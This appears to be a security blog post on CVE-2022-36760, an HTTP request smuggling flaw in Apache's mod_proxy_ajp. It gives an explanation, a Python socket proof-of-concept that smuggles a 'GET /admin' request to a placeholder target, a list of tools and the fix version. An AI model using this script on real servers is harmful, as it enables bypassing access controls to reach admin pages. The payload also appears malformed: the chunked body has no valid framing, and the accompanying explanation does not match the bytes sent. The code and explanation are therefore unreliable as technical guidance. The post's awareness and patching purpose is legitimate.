In 2022, security researchers identified a serious vulnerability in Apache HTTP Server affecting the mod_proxy_ajp module. Tracked as CVE-2022-36760, this flaw allows attackers to smuggle HTTP requests past security controls and right into the backend AJP server. This post provides a clear explanation, demo code, references, and detailed exploit steps for security testing and awareness.
What is HTTP Request Smuggling?
HTTP Request Smuggling is a class of web vulnerabilities that takes advantage of inconsistencies in interpreting HTTP requests between frontend proxies and backend servers. Essentially, attackers can "smuggle" a malicious request within another, bypassing security mechanisms.
For this vulnerability, the problem lies in how mod_proxy_ajp in Apache interprets and forwards HTTP requests to the backend AJP (Apache JServ Protocol) server. A crafty attacker can create malformed requests that confuse these two systems, letting harmful traffic pass unnoticed.
Vulnerable module: mod_proxy_ajp
If your server is running an older version with mod_proxy_ajp enabled, you should consider yourself at risk.
Technical Details & Exploitability
This vulnerability occurs because the parsing of Content-Length and Transfer-Encoding headers in HTTP/1.1 requests is inconsistent between the Apache frontend and the backend AJP server.
Smuggler sends a special HTTP request with crafted headers.
2. The Apache server (frontend) believes the HTTP request has ended, but the backend AJP (Tomcat or similar) interprets the request differently, seeing extra data as a new request.
The attacker can piggyback or "smuggle" a hidden HTTP request to the backend application server.
This technique can bypass security policies, firewalls, and authentication, potentially leading to account takeover, cache poisoning, or other attacks.
Example: Proof of Concept (PoC) Code
Below is a simple Python (3.x) script using the socket library to exploit the HTTP Request Smuggling vulnerability against a vulnerable Apache + mod_proxy_ajp frontend.
WARNING: Run this only in a controlled test environment. Do not target systems you do not own.
import socket
HOST = 'vulnerable-apache-server.com' # change to your target
PORT = 80 # or 443 if using HTTPS with appropriate adaptation
payload = (
"POST / HTTP/1.1\r\n"
"Host: vulnerable-apache-server.com\r\n"
"Content-Length: 13\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"\r\n"
"\r\n"
"GET /admin HTTP/1.1\r\n"
"Host: vulnerable-apache-server.com\r\n"
"\r\n"
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(payload.encode())
response = s.recv(4096)
print(response.decode())
s.close()
This payload puts both Content-Length and Transfer-Encoding headers, which can cause desyncs.
- The original Apache parser reads Content-Length: 13 and stops, but the backend gets an extra "GET /admin" request.
Automated Tools
- Smuggler (Python tool)
- Burp Suite's Request Smuggler extension
Fix & Mitigation
- Upgrade Apache: Fixed in Apache HTTP Server 2.4.55 and later. Download here
References
- Official Apache Security Advisory
- NVD CVE-2022-36760
- PortSwigger: HTTP Request Smuggling
- Smuggler tool on GitHub
Conclusion
CVE-2022-36760 is a critical vulnerability that demonstrates the dangers of trusting proxies to parse and forward web requests correctly. If you use Apache mod_proxy_ajp, patch your system immediately. Testing for this vulnerability is straightforward. Always monitor your backend servers for strange or unexpected requests, and consider disabling unused proxy modules.
Timeline
Published on: 01/17/2023 20:15:00 UTC
Last modified on: 01/30/2023 19:21:00 UTC